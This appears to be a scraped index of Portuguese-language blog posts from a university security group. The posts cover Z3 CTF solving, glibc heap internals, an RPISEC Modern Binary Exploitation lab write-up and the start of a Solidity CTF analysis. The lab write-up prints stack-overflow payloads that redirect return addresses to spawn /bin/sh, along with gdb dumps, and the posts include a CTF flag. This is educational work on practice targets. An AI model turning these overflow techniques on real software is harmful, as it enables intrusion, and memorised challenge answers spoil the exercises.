worthless, but you\u0026#39;ve noticed something peculiar in the worn-out corners... Enter the claim sequence: PCTF{24d16126d6739d6ada82b125534d2ae2324b39ed72e5a1200c5ac96200} 🌟 PAYDIRT! 🌟 You\u0026#39;ve struck a rich vein of gold! Your claim is officially recorded at the assayer\u0026#39;s office, and the flag is yours: PCTF{24d16126d6739d6ada82b125534d2ae2324b39ed72e5a1200c5ac96200} Resolvemos o desafio :)\n","permalink":"http://grisufrj.github.io/blog/2025-04-09-ctf-with-z3-ptbr/","summary":"Isso é um writeup de 2 challenges do PlaidCTF 2025 que podiam ser resolvidos usando Z3!\nO primeiro challenge é um de criptografia chamado excav8. O segundo é um challenge de engenharia reversa chamado Fool's Gulch.\nExcav8 Como o próprio nome diz, ele tem sim algo relacionado com V8.\nEsse é o arquivo chall.py fornecido pelo desafio:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import subprocess secret = open(\u0026#39;secret.","title":"Resolvendo challenges de CTF usando Z3"},{"content":"Introdução Antes de nos aprofundarmos na heap da glibc, vamos dar uma olhada rápida na pilha. Depois disso, poderemos explorar a heap.\nNa parte 2, vamos abordar a função free e suas bins.\nA stack Nos sistemas operacionais modernos, cada thread de uma aplicação possui sua própria stack. A stack tem um tamanho fixo, que é alocado pelo sistema operacional e atribuído ao processo quando ele é iniciado.\nEla funciona no modelo LIFO e, geralmente, armazena variáveis locais, ponteiros para endereços de retorno, argumentos de funções, etc.\nA heap A heap é um pouco diferente. Ela lida com a memória alocada dinamicamente. Isso significa que a heap não possui um tamanho fixo, pois cresce conforme mais memória é necessária. A maneira como a heap é gerenciada pode variar dependendo da implementação utilizada: a implementação da heap e seu funcionamento no Linux podem diferir da implementação no Windows.\nVamos ver o que acontece quando você realiza uma solicitação de malloc (supondo que você esteja usando a glibc) e ainda não há nenhuma região da heap mapeada (geralmente acontece quando você acabou de iniciar um programa). Este é o código-fonte do programa que vou mostrar:\n1 2 3 4 5 6 #include\u0026lt;stdlib.h\u0026gt; int main(void) { malloc(24); return 0; } Se você apenas executar o programa, nada acontecerá (como esperado). Vamos analisá-lo usando o gdb. Vou usar o pwndbg, mas você pode usar qualquer ferramenta de sua escolha (ou até mesmo só o gdb puro). Contudo, recomendo fortemente o pwndbg.\nColocando um breakpoint na função main e executando o programa, use o comando vmmap:\nSe você observar com atenção, ainda não há nenhum mapeamento de heap. Vamos usar o comando n para executar a função malloc e, em seguida, verificar novamente o vmmap:\nComo você pode ver, agora existe uma região da heap! Isso ocorre porque acabamos de executar a função malloc. Legal, certo?\nCom o pwndbg, agora use o comando vis (que é um atalho para vis_heap_chunks):\nIsso mostrará todos os chunks localizados na heap. Há um grande chunk no início (sobre o qual não entraremos em detalhes agora), e há um chunk logo após ele (colorido de roxo) que tem 0x0000000000000021 escrito nele. No final, há um 0x0000000000020d51 (sobre o qual também não entraremos em detalhes agora).\nPor que não usar algo como mmap? O maior problema com isso é que não teríamos um tamanho flexível de memória para trabalhar (pois ele deve ser um múltiplo de 4096, o tamanho de uma página).\nAlém disso, isso requer envolvimento do kernel. Isso significa que não será uma operação extremamente rápida.\nA implementação da heap fará, mais ou menos, uma grande alocação de memória e, então, a distribuirá em chunks menores. Isso elimina os problemas mencionados anteriormente, pois não precisaremos do envolvimento do kernel o tempo todo e teremos a possibilidade de distribuir chunks menores quando uma alocação for solicitada.\nUm chunk da heap Metadados e dados Vamos simplificar olhando apenas para o chunk roxo. Este é o chunk que obtivemos quando a função malloc(24) foi chamada. Há 0x21 escrito nele. Isso é, na verdade, o tamanho do chunk que acabamos de obter. Isso inclui os primeiros 8 bytes (que contam como os metadados) e a região de dados real do chunk. 8 bytes (metadados) + 24 bytes (dados reais) = 32 bytes (0x20). Mas para que servem esses metadados?\nOs metadados Nos primeiros 8 bytes, há um 0x21 escrito. Por que é 0x21 em vez de 0x20 então?\nOs chunks não devem estar desalinhados, pois isso não é bom por uma série de razões. Assim, eles sempre precisam ser múltiplos de 8 (em sistemas de 32 bits) ou 16 (em sistemas de 64 bits). O que isso significa então? Os últimos 3 bits serão sempre zero.\nVamos ver isso ao nível dos bits. Imagine que você tem um número estranho como 397:\n0b110001101\nAgora, multiplique por 8:\n0b110001101000\nMultiplicar por 8 significa simplesmente adicionar 3 zeros ao final de um número binário.\nComo os últimos bits sempre serão zero, os usaremos para outros propósitos, como salvar flags. Há 0x21 escrito porque o último bit é definido para uma flag chamada prev_inuse. Essa flag terá algumas funcionalidades que veremos mais adiante nesta série de blog posts.\nVamos continuar explorando os metadados com outras coisas. Altere o malloc(24) no código para um malloc(8) e execute outro comando vis:\nO tamanho nos metadados do nosso chunk não mudou, mesmo que tenhamos mudado o tamanho solicitado na função malloc. Isso acontece porque a implementação da heap usará tamanhos de chunks \u0026ldquo;fixos\u0026rdquo; para otimizações (especialmente para quando liberarmos o chunk com free). Vamos explorar melhor a função free e as free bins no próximo post.\nTop chunk Lembra daquele valor no final dos chunks do heap que eu disse que abordaríamos mais tarde? Bem, vamos vê-lo agora!\nEste valor é o tamanho do top chunk. Quando emitimos a função malloc pela primeira vez, ela solicitará ao kernel memória para a região do heap. No entanto, ela pedirá muito mais memória do que estamos solicitando. O principal motivo é que não quer pedir novamente, pois isso não é tão rápido. Isso significa que podemos solicitar mais chunks com malloc sem precisar solicitar mais memória ao kernel.\nVamos dar uma olhada melhor nisso. Este é o código-fonte que vou debuggar:\n1 2 3 4 5 6 7 8 #include\u0026lt;stdlib.h\u0026gt; int main(void) { void *a = malloc(0x8); void *b = malloc(0x8); void *c = malloc(0x8); return 0; } Coloque um breakpoint na função main e execute. Recomendo compilar o código-fonte com debug informations (você pode fazer isso usando a flag -g).\nExecute o primeiro malloc e execute um comando vis: Isso está no final dos chunks.\nOk, tudo está como de costume e já vimos isso.\nAgora, emita outro malloc usando o comando n. Use vis para ver o que acontece:\nComo você pode ver, conseguimos outro chunk. Mas, se prestar muita atenção, o último valor (o tamanho do top chunk) agora é 0x20d31 em vez de 0x20d51. Ele realmente encolheu! Em vez de precisar solicitar mais memória ao kernel, simplesmente usamos o top chunk no final da região para atender à solicitação de malloc.\nEste processo seria diferente se tivéssemos um chunk disponível em uma das listas livres, mas ainda não cobrimos isso. Então, vamos analisar apenas este caso por enquanto.\nInteressante, né? Vamos fazer outra alocação então:\nNada de novo por aqui. Vamos tornar as coisas um pouco mais interessantes.\nSolicitando mais memória do que o top chunk No último exemplo, havia um valor de 0x20d11 no top chunk. O que acontece se usarmos tudo?\nEste é o código-fonte modificado:\n1 2 3 4 5 6 7 8 9 10 #include\u0026lt;stdlib.h\u0026gt; int main(void) { void *a = malloc(0x8); void *b = malloc(0x8); void *c = malloc(0x8); void *d = malloc(0x20ce0); void *e = malloc(0x8); return 0; } Adicionei 2 chamadas malloc nele. Veja os chunks logo após o malloc na variável d:\nO chunk superior agora tem tamanho 0x20. Fazendo outra solicitação de malloc:\nPodemos ver que a heap aumentou de tamanho, pois obteve um novo top chunk (você pode verificar isso usando o comando vmmap logo após a última alocação e imediatamente antes dela). Vamos analisar melhor o top chunk e como algumas coisas funcionam ao redor dele quando explorarmos os ataques House of Force e House of Orange, que serão abordados em um post futuro.\nArenas Há um conceito importante ao falar sobre a heap, chamado \u0026ldquo;arena\u0026rdquo;. Basicamente, uma arena é uma região de memória relacionada a cada thread e contém uma referência a uma ou mais heaps (cada heap pode estar em apenas uma arena). Há esta imagem interessante que vi neste incrível blog post. Antes do uso de arenas, a forma de impedir que mais de uma thread usasse a mesma heap era através do uso de um mutex. Atualmente, cada arena ainda utiliza um mutex, mas agora as threads podem realizar operações na heap sem se preocuparem umas com as outras (já que estão interagindo com outras arenas). Quando não há como criar mais arenas, algumas threads terão que compartilhar a mesma arena, e o desempenho será mais lento devido ao uso de mutexes para bloquear threads acessando a mesma heap.\nReferências Azeria Labs\nhttps://ir0nstone.gitbook.io/notes/binexp/heap/\nThe toddler’s introduction to Heap exploitation (Part 1) | by +Ch0pin🕷️ | InfoSec Write-ups\nIntroduction To GLIBC Heap Exploitation - Max Kamper\nHeap Exploitation - Nightmare\nHeap exploitation, glibc internals and nifty tricks. - Quarkslab\u0026rsquo;s blog\n","permalink":"http://grisufrj.github.io/blog/2025-01-28-heap-0x01/","summary":"Introdução Antes de nos aprofundarmos na heap da glibc, vamos dar uma olhada rápida na pilha. Depois disso, poderemos explorar a heap.\nNa parte 2, vamos abordar a função free e suas bins.\nA stack Nos sistemas operacionais modernos, cada thread de uma aplicação possui sua própria stack. A stack tem um tamanho fixo, que é alocado pelo sistema operacional e atribuído ao processo quando ele é iniciado.\nEla funciona no modelo LIFO e, geralmente, armazena variáveis locais, ponteiros para endereços de retorno, argumentos de funções, etc.","title":"Heap 0x1"},{"content":"Olá! Nesse post, resolveremos o segundo laboratório do Modern Binary Exploitation da RPISEC que aborda a Corrupção de Memória (ou pwning, para os mais íntimos).\nSobre os laboratórios do MBE Todos os laboratórios do curso residem dentro de uma máquina virtual disponibilizada no material através de uma imagem de disco para Ubuntu 14.04, que possui toda a configuração necessária para o Wargame. Os desafios são separados por laboratório e dificuldade, sendo C o mais fácil e A o mais difícil. Além disso, você acessa o challenge mediante ao usuário do respectivo desafio. Portanto, começando no C, o seu objetivo é exploitar o desafio para spawnar o terminal logado no usuário da próxima challenge e pegar a senha dele (que está em /home/labXX/.pass).\nLaboratório 02 O laboratório 02 aborda a Corrupção de Memória, tópico, esse, que é trabalhado durante as três primeiras lectures do material. Para uma melhor compreensão do que está ocorrendo, é necessário saber um pouco sobre:\nProgramação em C Assembly x86 Stack Engenharia Reversa Todas as ferramentas utilizadas estarão listadas ao final do write-up.\nLab2C O laboratório 2C inicia com o código abaixo:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 1 #include \u0026lt;stdlib.h\u0026gt; 2 #include \u0026lt;stdio.h\u0026gt; 3 #include \u0026lt;string.h\u0026gt; 4 5 /* 6 * compiled with: 7 * gcc -O0 -fno-stack-protector lab2C.c -o lab2C 8 */ 9 10 void shell() 11 { 12 printf(\u0026#34;You did it.\\n\u0026#34;); 13 system(\u0026#34;/bin/sh\u0026#34;); 14 } 15 16 int main(int argc, char** argv) 17 { 18 if(argc != 2) 19 { 20 printf(\u0026#34;usage:\\n%s string\\n\u0026#34;, argv[0]); 21 return EXIT_FAILURE; 22 } 23 24 int set_me = 0; 25 char buf[15]; 26 strcpy(buf, argv[1]); 27 28 if(set_me == 0xdeadbeef) 29 { 30 shell(); 31 } 32 else 33 { 34 printf(\u0026#34;Not authenticated.\\nset_me was %d\\n\u0026#34;, set_me); 35 } 36 37 return EXIT_SUCCESS; 38 } Nota-se que há um buffer com limite de 15 caracteres, na linha 25, que pode ser explorado devido à má implementação do código, pois copia-se uma string que não possui limite de tamanho para esse buffer limitado na linha 26.\nNesse sentido, podemos criar um payload que exceda os 15 bytes pretendidos e que possua, nos próximos 4 bytes, o valor idealizado para a variável set_me. Portanto, com o payload gerado pelo comandopython -c 'print (\u0026quot;A\u0026quot; * 0x0f) + \u0026quot;\\xef\\xb\\xad\\xde\u0026quot;', acessamos o usuário lab2B :D\nLab2B O nível médio inicia-se com o seguinte código:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 1 #include \u0026lt;stdlib.h\u0026gt; 2 #include \u0026lt;stdio.h\u0026gt; 3 #include \u0026lt;string.h\u0026gt; 4 5 /* 6 * compiled with: 7 * gcc -O0 -fno-stack-protector lab2B.c -o lab2B 8 */ 9 10 char* exec_string = \u0026#34;/bin/sh\u0026#34;; 11 12 void shell(char* cmd) 13 { 14 system(cmd); 15 } 16 17 void print_name(char* input) 18 { 19 char buf[15]; 20 strcpy(buf, input); 21 printf(\u0026#34;Hello %s\\n\u0026#34;, buf); 22 } 23 24 int main(int argc, char** argv) 25 { 26 if(argc != 2) 27 { 28 printf(\u0026#34;usage:\\n%s string\\n\u0026#34;, argv[0]); 29 return EXIT_FAILURE; 30 } 31 32 print_name(argv[1]); 33 34 return EXIT_SUCCESS; 35 } Vemos, então, que há uma função shell() que deve ser chamada com o argumento da exec_string. Para isso, temos que explorar o buffer na linha 20, pois há uma chamada de strcpy() entre o input (que possui tamanho ilimitado) e o buffer (que possui tamanho limitado).\nNesse sentido, podemos realizar o exploit do return address durante a chamada da função print_name() para ela retornar para o endereço de shell() e, além disso, inserir a string como uma das variáveis locais.\nReturn Address Inserindo \u0026ldquo;A\u0026rdquo; * 15 como input do código, a stack da função print_name() fica assim:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 gdb-peda$ x/100x $sp 0xbffff580: 0x91 0xf5 0xff 0xbf 0xcd 0xf7 0xff 0xbf 0xbffff588: 0x01 0x00 0x00 0x00 0x41 0x85 0x04 0x08 0xbffff590: 0xb9 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff598: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5a0: 0x00 0x00 0x00 0x00 0x64 0xf6 0xff 0xbf 0xbffff5a8: 0xc8 0xf5 0xff 0xbf 0x38 0x87 0x04 0x08 0xbffff5b0: 0xcd 0xf7 0xff 0xbf 0x00 0xf0 0xff 0xb7 0xbffff5b8: 0x4b 0x87 0x04 0x08 0x00 0xd0 0xfc 0xb7 0xbffff5c0: 0x40 0x87 0x04 0x08 0x00 0x00 0x00 0x00 0xbffff5c8: 0x00 0x00 0x00 0x00 0x83 0xca 0xe3 0xb7 0xbffff5d0: 0x02 0x00 0x00 0x00 0x64 0xf6 0xff 0xbf 0xbffff5d8: 0x70 0xf6 0xff 0xbf 0xea 0xcc 0xfe 0xb7 0xbffff5e0: 0x02 0x00 0x00 0x00 Repare que de 0xbffff591 a 0xbffff5a0, temos o buffer repleto de \u0026ldquo;A\u0026rdquo;\u0026rsquo;s (representado por 0x41 em hexa). Entretanto, logo após temos uma sequência de 0x00 e alguns outros bytes. Temos que achar o endereço de retorno. Realizando o disassembly da main(), vemos:\n1 2 3 0x08048730 \u0026lt;+51\u0026gt;: mov DWORD PTR [esp],eax 0x08048733 \u0026lt;+54\u0026gt;: call 0x80486d0 \u0026lt;print_name\u0026gt; 0x08048738 \u0026lt;+59\u0026gt;: mov eax,0x0 Dessa maneira, vemos que o endereço de retorno que buscamos é 0x08048738. Olhando novamente a stack impressa, vemos esse endereço entre 0xbffff5ac e 0xbffff5b0. Portanto, o offset entre o fim da string e o início do return address é de 0x1b (27) bytes.\nRealizando o disassembly da função shell(), vemos que o endereço inicial da sua instrução é 0x080486bd. Então, o início do nosso payload é dado por:\npython -c 'print \u0026quot;A\u0026quot; * 0x1b + \u0026quot;\\xbd\\x86\\x04\\x08\u0026quot;\nNos resta, agora, passar o parâmetro correto para a função.\nString Para inserirmos a string como parâmetro, primeiro, precisamos encontrar o seu endereço dentro do processo. Para entendermos o mapeamento da memória virtual do processo, fazemos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 gdb-peda$ info proc map process 1186 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /levels/lab02/lab2B 0x8049000 0x804a000 0x1000 0x0 /levels/lab02/lab2B 0x804a000 0x804b000 0x1000 0x1000 /levels/lab02/lab2B 0xb7e22000 0xb7e23000 0x1000 0x0 0xb7e23000 0xb7fcb000 0x1a8000 0x0 /lib/i386-linux-gnu/libc-2.19.so 0xb7fcb000 0xb7fcd000 0x2000 0x1a8000 /lib/i386-linux-gnu/libc-2.19.so 0xb7fcd000 0xb7fce000 0x1000 0x1aa000 /lib/i386-linux-gnu/libc-2.19.so 0xb7fce000 0xb7fd1000 0x3000 0x0 0xb7fd9000 0xb7fdb000 0x2000 0x0 0xb7fdb000 0xb7fdc000 0x1000 0x0 [vdso] 0xb7fdc000 0xb7fde000 0x2000 0x0 [vvar] 0xb7fde000 0xb7ffe000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.19.so 0xb7ffe000 0xb7fff000 0x1000 0x1f000 /lib/i386-linux-gnu/ld-2.19.so 0xb7fff000 0xb8000000 0x1000 0x20000 /lib/i386-linux-gnu/ld-2.19.so 0xbffdf000 0xc0000000 0x21000 0x0 [stack] Então, podemos procurar a string:\n1 2 3 4 5 gdb-peda$ searchmem \u0026#34;/bin/sh\u0026#34; 0x8048000 0x804b000 Searching for \u0026#39;/bin/sh\u0026#39; in range: 0x8048000 - 0x804b000 Found 2 results, display max 2 items: lab2B : 0x80487d0 (\u0026#34;/bin/sh\u0026#34;) lab2B : 0x80497d0 (\u0026#34;/bin/sh\u0026#34;) Temos nosso endereço! Agora, podemos criar o payload usando o padding descoberto:\npython -c 'print \u0026quot;A\u0026quot; * 0x1b + \u0026quot;\\xbd\\x86\\x04\\x08\u0026quot; + \u0026quot;A\u0026quot; 0x04 + \u0026quot;\\xd0\\x97\\x04\\x08\u0026quot;'\nLab2A Para o último, vamos conferir o código disponibilizado:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 1 #include \u0026lt;stdio.h\u0026gt; 2 #include \u0026lt;stdlib.h\u0026gt; 3 #include \u0026lt;string.h\u0026gt; 4 5 /* 6 * compiled with: 7 * gcc -O0 -fno-stack-protector lab2A.c -o lab2A 8 */ 9 10 void shell() 11 { 12 printf(\u0026#34;You got it\\n\u0026#34;); 13 system(\u0026#34;/bin/sh\u0026#34;); 14 } 15 16 void concatenate_first_chars() 17 { 18 struct { 19 char word_buf[12]; 20 int i; 21 char* cat_pointer; 22 char cat_buf[10]; 23 } locals; 24 locals.cat_pointer = locals.cat_buf; 25 26 printf(\u0026#34;Input 10 words:\\n\u0026#34;); 27 for(locals.i=0; locals.i!=10; locals.i++) 28 { 29 // Read from stdin 30 if(fgets(locals.word_buf, 0x10, stdin) == 0 || locals.word_buf[0] == \u0026#39;\\n\u0026#39;) 31 { 32 printf(\u0026#34;Failed to read word\\n\u0026#34;); 33 return; 34 } 35 // Copy first char from word to next location in concatenated buffer 36 *locals.cat_pointer = *locals.word_buf; 37 locals.cat_pointer++; 38 } 39 40 // Even if something goes wrong, there\u0026#39;s a null byte here 41 // preventing buffer overflows 42 locals.cat_buf[10] = \u0026#39;\\0\u0026#39;; 43 printf(\u0026#34;Here are the first characters from the 10 words concatenated:\\n\\ 44 %s\\n\u0026#34;, locals.cat_buf); 45 } 46 47 int main(int argc, char** argv) 48 { 49 if(argc != 1) 50 { 51 printf(\u0026#34;usage:\\n%s\\n\u0026#34;, argv[0]); 52 return EXIT_FAILURE; 53 } 54 55 concatenate_first_chars(); 56 57 printf(\u0026#34;Not authenticated\\n\u0026#34;); 58 return EXIT_SUCCESS; 59 } Repare que conseguimos exploitar o nosso buffer, pois a leitura do fgets(), na linha 30, é limitada em 0x10 (16 bytes) e o buffer possui 12 bytes de tamanho.\nEntretanto, assim como o chall anterior, não poderemos sobrescrever, diretamente, o return address pois não alcançamos ele. Contudo, podemos exploitar o iterador da linha 27 e utilizar o cat_buf como o entrypoint para o payload!\nTestei se poderíamos realizá-lo da seguinte maneira:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 lab2A@warzone:/levels/lab02$ ./lab2A Input 10 words: 1234567890xxx 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 12 3 Failed to read word Not authenticated 213Segmentation fault (core dumped) O processo só foi encerrado quando inseri o \\n e, além disso, tivemos um SegFault! Agora, nos resta encontrar o padding entre o buffer e o return address.\nNo GDB, iniciei o código e puz um breakpoint na função concatenate_first_chars(). Além disso, peguei o endereço da instrução após a chamada dessa função na main():\n1 2 3 4 5 6 0x080487da \u0026lt;+36\u0026gt;:\tmov eax,0x1 0x080487df \u0026lt;+41\u0026gt;:\tjmp 0x80487f7 \u0026lt;main+65\u0026gt; 0x080487e1 \u0026lt;+43\u0026gt;:\tcall 0x804871d \u0026lt;concatenate_first_chars\u0026gt; 0x080487e6 \u0026lt;+48\u0026gt;:\tmov DWORD PTR [esp],0x8048915 0x080487ed \u0026lt;+55\u0026gt;:\tcall 0x80485c0 \u0026lt;puts@plt\u0026gt; 0x080487f2 \u0026lt;+60\u0026gt;:\tmov eax,0x0 Sabemos que o endereço da instrução é 0x080487e6. Logo após, imprimi a stack quando 4 caracteres (inseri apenas \u0026ldquo;A\u0026rdquo;) já haviam sido acumulados no buffer vulnerável:\n1 2 3 4 5 6 gdb-peda$ x/200x $sp 0xbffffbc0:\t0xbffffbd0\t0x00000010\t0xb7fcdc20\t0xb7e56273 0xbffffbd0:\t0x00000a41\t0x00c30000\t0x00000001\t0x00000004 0xbffffbe0:\t0xbffffbe8\t0x41414141\t0x0804a000\t0x08048852 0xbffffbf0:\t0x00000001\t0xbffffcb4\t0xbffffc18\t0x080487e6 0xbffffc00:\t0xb7fcd3c4\t0xb7fff000\t0x0804880b\t0xb7fcd000 Repare que temos 4 bytes de 0x41 a partir de 0xbffffbe4. Para confirmar, esperei acumular 5 bytes:\n1 2 3 4 5 6 gdb-peda$ x/100x $sp 0xbffffbc0:\t0xbffffbd0\t0x00000010\t0xb7fcdc20\t0xb7e56273 0xbffffbd0:\t0x00000a41\t0x00c30000\t0x00000001\t0x00000005 0xbffffbe0:\t0xbffffbe9\t0x41414141\t0x0804a041\t0x08048852 0xbffffbf0:\t0x00000001\t0xbffffcb4\t0xbffffc18\t0x080487e6 0xbffffc00:\t0xb7fcd3c4\t0xb7fff000\t0x0804880b\t0xb7fcd000 De fato, esse é o local da string. Além disso, repare que em 0xbffffbfc temos o endereço 0x080487e6! Portanto:\n1 2 \u0026gt;\u0026gt;\u0026gt; 0xbffffbfc - 0xbffffbe4 24L 24 é o padding! Portanto, devemos escrever 24 palavras com iniciais aleatórias para exploitar o buffer (considerando a primeira que exploita o identador) e, logo após, mais 4 que representam o endereço da primeira istrução de shell()\nRealizando o disassembly de shell():\n1 2 3 4 5 6 7 8 9 10 11 12 gdb-peda$ disas shell Dump of assembler code for function shell: 0x080486fd \u0026lt;+0\u0026gt;:\tpush ebp 0x080486fe \u0026lt;+1\u0026gt;:\tmov ebp,esp 0x08048700 \u0026lt;+3\u0026gt;:\tsub esp,0x18 0x08048703 \u0026lt;+6\u0026gt;:\tmov DWORD PTR [esp],0x8048890 0x0804870a \u0026lt;+13\u0026gt;:\tcall 0x80485c0 \u0026lt;puts@plt\u0026gt; 0x0804870f \u0026lt;+18\u0026gt;:\tmov DWORD PTR [esp],0x804889b 0x08048716 \u0026lt;+25\u0026gt;:\tcall 0x80485d0 \u0026lt;system@plt\u0026gt; 0x0804871b \u0026lt;+30\u0026gt;:\tleave 0x0804871c \u0026lt;+31\u0026gt;:\tret End of assembler dump. Com o endereço 0x080486fd, podemos fabricar o payload do exploit com o comando:\npython -c 'print (\u0026quot;B\u0026quot; * 0x0f) + (\u0026quot;A\\n\u0026quot; * 0x17) + \u0026quot;\\xfd\\n\\x86\\n\\x04\\n\\x08\\n\u0026quot;'\nFerramentas utilizadas: GEF, uma extensão para o GDB GHIDRA, uma ferramenta de análise de binários. pwntools, uma biblioteca de Python para fabricação de exploits. ","permalink":"http://grisufrj.github.io/blog/2025-01-24-writeup-lab02-pwn-mbe/","summary":"Olá! Nesse post, resolveremos o segundo laboratório do Modern Binary Exploitation da RPISEC que aborda a Corrupção de Memória (ou pwning, para os mais íntimos).\nSobre os laboratórios do MBE Todos os laboratórios do curso residem dentro de uma máquina virtual disponibilizada no material através de uma imagem de disco para Ubuntu 14.04, que possui toda a configuração necessária para o Wargame. Os desafios são separados por laboratório e dificuldade, sendo C o mais fácil e A o mais difícil.","title":"Modern Binary Exploitation: Laboratório de pwning"},{"content":"O desafio Autor: snwo Descrição: Welcome to assembly zoo Análise inicial Dando uma olhada no contrato de setup, vemos que o objetivo final é setar a variável isSolved no contrato ZOO para 1.\n1 2 3 4 5 6 7 8 9 10 11 contract Setup { ZOO public immutable zoo; constructor() payable { zoo = new ZOO(); } function isSolved() public view returns (bool) { return zoo.isSolved() == 1; } } Logo de cara, ZOO tem alguns pontos interessantes. Esse contrato implementa Pausable e chama a função _pause no final do construtor. Usando a documentação, vemos que isso é um mecanismos pra habilitar/desabilitar funções do contrato. Quando pausado, funções marcadas com o modificador whenNotPaused chamam revert ao serem chamadas.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import {Animal} from \u0026#34;./Animal.sol\u0026#34;; import {Pausable} from \u0026#34;@openzeppelin/contracts/utils/Pausable.sol\u0026#34;; contract ZOO is Pausable { uint256 public isSolved; AnimalWrapper[] public animals; \u0026lt;snip\u0026gt; constructor() { \u0026lt;snip\u0026gt; // The ZOO is not opened yet :( _pause(); } \u0026lt;snip\u0026gt; Seguindo a diante, esbarramos na função commit, que usa esse modificador. Essa função também tem a peculiaridade de ser escrita completamente em assembly. Ok\u0026hellip; Vamos ignorar ela por enquanto, mas aparentemente a gente tem que despausar o contrato pra chegar nela.\n1 2 3 4 5 function commit(bytes memory data) internal whenNotPaused { assembly { \u0026lt;snip\u0026gt; } } Por fim, temos uma função fallback. Essa função é especial (por isso não precisa da keyword function) e é chamada quando a assinatura especificada no calldata não existe. Basicamente, é a função que é chamada quando você chama uma função que não existe. Pra nossa infelicidade, basicamente tudo é escrito em assembly, e não é pouco código não. Vamos analisar o que não está em assembly então:\nA função aceita bytes como argumento. Esses bytes são na verdade a calldata enviada para a função. Temos um array de function(bytes memory) chamado functions. O único elemento desse array é a função commit que vimos antes. commit é então chamada a partir desse array no final da função 1 2 3 4 5 6 7 8 9 10 11 12 fallback() external payable { function(bytes memory)[] memory functions = new function( bytes memory )[](1); functions[0] = commit; bytes memory local_animals; assembly { \u0026lt;snip\u0026gt; } functions[0](local_animals); } Se você já tem alguma experiência com desafios de pwn, esse array functions tá quase que gritando \u0026ldquo;ME CORROMPA POR FAVOR\u0026rdquo;. A única razão lógica pra chamar a função usando o array é justamente pra você conseguir corromper o endereço. O código não foi escrito assim por acaso. O fato de o que vem logo depois estar em assembly (único lugar que bugs de memória podem acontecer em Solidity) só enfatiza isso. Nesse contexto, sem nem ler o assembly nem nada, o caminho já tá mais ou menos claro: deve ter algum bug no assembly que me permite sobrescrever o array. Sobrescrevendo o array, a gente provavelmente consegue pular direto pra commit e bypassar o whenNotPaused. O que a gente faz quando chegar lá? Menor ideia, um problema de cada vez.\nDito isso, hora de sofrer tentando entender o assembly. Mas, antes disso, vamos entender um pouco sobre como assembly em Solidity funciona.\nYul Todo código que roda na Ethereum Virtual Machine (EVM) tem que ser compilado para bytecode da EVM. Como o nome diz, a EVM é uma máquina virtual e tem sua própria arquitetura, exatamente como x86 e ARM. Como toda arquitetura, a EVM tem instruções e essas instruções podem ser representadas mais facilmente a partir de assembly. Uma curiosidade interessante é que todos os opcodes da EVM ocupam exatamente 1 byte. Elegante, né?\nBom, você pode escrever código pra EVM instrução por instrução, mas felizmente isso não é necessário. Esses blocos assembly usados em Solidity na verdade aceitam uma linguagem chamada Yul, que é tipo um assembly turbinado. Em Yul, você chama as instruções normalmente, mas também existem loops, condicionais e variáveis. Isso facilita bastante e meio que abstrai a arquitetura de pilha da EVM. Você ainda consegue acessar as instruções diretamente, mas aquela parte mais chata e repetitiva de escrever assembly é feita pra você.\nComo funciona a memória de um contrato na EVM Primeiro de tudo, um ponto super importante: a EVM é uma máquina de 256 bits. Sendo assim, a stack tem entradas de 32 bytes e os endereços ocupam 32 bytes. Não é à toa que uint e uint256 são sinônimos em Solidity: basicamente tudo é feito de 32 em 32 bytes.\nOutro fato interessante é que a memória de um contrato começa em 0. Conforme o contrato vai usando memória, ela vai sendo expandida (e isso custa gas).\nTemos também que as quatro primeiras words (word = 32 bytes) são reservadas e têm usos específicos. Nessa lógica, o espaço livre pro contrato fazer o que quiser começa em 0x80.\n1 2 3 4 0x00 -\u0026gt; scratch 0x20 -\u0026gt; scratch 0x40 -\u0026gt; free memory pointer 0x60 -\u0026gt; zero Dessas words reservadas, a mais importante é a terceira (fica em 0x40). Nesse espaço fica o free memory pointer. Esse ponteiro aponta pra onde tem memória livre. Dessa forma, sempre que o programa precisa armazenar alguma coisa na memória, ele armazena no local onde esse ponteiro aponta e então move o ponteiro adiante pra algum lugar livre.\nCom todo esse contexto explicado, vamos partir pra análise do assembly.\nA função fallback Primeiro a função usa mload pra pegar um endereço disponível no free memory pointer. Em seguida, armazena o tamanho e o conteúdo da calldata nesse espaço. Lembrando aqui que a calldata nesse contexto é exatamente a mesma coisa que o argumento passado pra função.\n1 2 3 4 5 6 7 8 9 10 11 // armazena calldatasize let arr := mload(0x40) let size := calldatasize() mstore(arr, size) // move e alinha free memory pointer let size_align := add(add(size, sub(0x20, mod(size, 0x20))), 0x20) mstore(0x40, add(arr, size_align)) // armazena calldata calldatacopy(add(arr, 0x20), 0, size) Em seguida, aquela variável de fora do assembly, local_animals, é alocada em um espaço de 0x120 bytes.\n1 2 local_animals := mload(0x40) mstore(0x40, add(local_animals, 0x120)) Temos então um loop pra iterar cada byte da calldata. Em seguida, o primeiro byte da calldata é lido e salvo em op. Essa sequência de mload shr add vai se repetir bastante.\nA variável op é então usada em um switch. Com isso, podemos ver que o que o assembly faz é basicamente ler instruções passadas via calldata, sendo o primeiro byte qual instrução queremos chamar.\n1 2 3 4 5 6 7 8 9 10 11 12 13 for { let i := 0 } lt(i, size) { let op := mload(add(add(arr, 0x20), i)) op := shr(0xf8, op) i := add(i, 1) switch op case 0x10 { \u0026lt;snip\u0026gt; } case 0x20 { 